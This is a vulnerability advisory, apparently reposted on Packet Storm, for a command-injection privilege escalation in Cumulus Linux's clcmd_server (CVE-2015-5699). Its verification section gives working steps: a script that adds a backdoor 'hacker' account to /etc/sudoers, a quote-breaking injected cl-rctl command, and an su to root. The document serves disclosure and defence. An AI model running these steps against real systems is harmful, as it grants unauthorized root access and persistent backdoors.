what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cumulus Linux 2.5.3 Privilege Escalation

Cumulus Linux 2.5.3 Privilege Escalation
Posted Aug 18, 2015
Authored by Gregory Pickett | Site hellfiresecurity.com

Cumulus Linux's Switch Configuration Tools Backend, clcmd_server, is vulnerable to local privilege escalation via command injection. Cumulus Linux's clcmd_server, when receiving commands that end in user supplied labels, will execute any other command appended to the end of it whether it is in the Rosetta or not. And it will do so using its own running credentials which are root. Versions 2.5.3 and earlier are affected.

tags | exploit, local, root
systems | linux
advisories | CVE-2015-5699
SHA-256 | a1fb04f6cf34bae2b04ccf1d59b164a1842267b7fa3db86f1b9bd93597c10072

Cumulus Linux 2.5.3 Privilege Escalation

Change Mirror Download
Title
===================
Cumulus Linux's Switch Configuration Tools Backend, clcmd_server, Vulnerable to Local Privilege Escalation

Summary
===================
Cumulus Linux's Switch Configuration Tools Backend, clcmd_server, is vulnerable to local privilege escalation via Command Injection. Cumulus Linux’s clcmd_server, when receiving commands that end in user supplied labels, will execute any other command appended to the end of it whether it is in the Rosetta or not. And it will do so using its own running credentials which are root.

Affected Products
===================
Cumlus Linux 2.5.3 and Earlier

CVE
===================
CVE-2015-5699

Details
===================
Cumulus Linux's Switch Configuration Tools Backend, clcmd_server, is vulnerable to local privilege escalation via Command Injection. Cumulus Linux’s clcmd_server, when receiving commands that end in user supplied labels, will execute any other command appended to the end of it whether it is in the Rosetta or not. This is because it stops checking the command against the Rosetta when it gets to the label. The label, meta-characters and all, are then passed to the shell for execution. And since clmd_server runs as root it executes both the authorized and the unauthorized command one after the other as root. It is important to note that the second command must begin with a single quote to terminate the command before it and ended with a single quote to close it.

The only limitation to the injection is that it will not work with spaces in the second command. This is because clcmd_server parses the command arguments with spaces. If you put any spaces in your second command, it will see the label as one more command, and fail the operation because it doesn't recognize it. This can easily be overcome by writing a script in your home directory and then calling the script as the second command.

The most potent use of this is a script that creates a root equivalent account. This would allow you, after injection, to su to root-level privileges and take over the system. Since anyone on the system can gain root through this vulnerability, it is considered high impact.

Verification of Vulnerability
===================
The following steps can be carried out in duplicating this vulnerability.

Step 1:
Create the following script in your home directory:

useradd hacker -p $(perl -e'print crypt("hacker", "aa")') -m
echo 'hacker ALL=(ALL:ALL) ALL' | tee --append /etc/sudoers > /dev/null


Step 2:
sudo cl-rctl "ip nht set ospf route-map long';/home/lab/script.sh'"

Step 3:
su hacker

Notes:
1. clcmd_server is started by root
2. The user lab was sudo-limited to cl-rctl only

Impact
===================
Unauthorized access. Elevation to root privileges and from there full control of the system.

Credits
===================
Gregory Pickett (@shogun7273), Hellfire Security
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close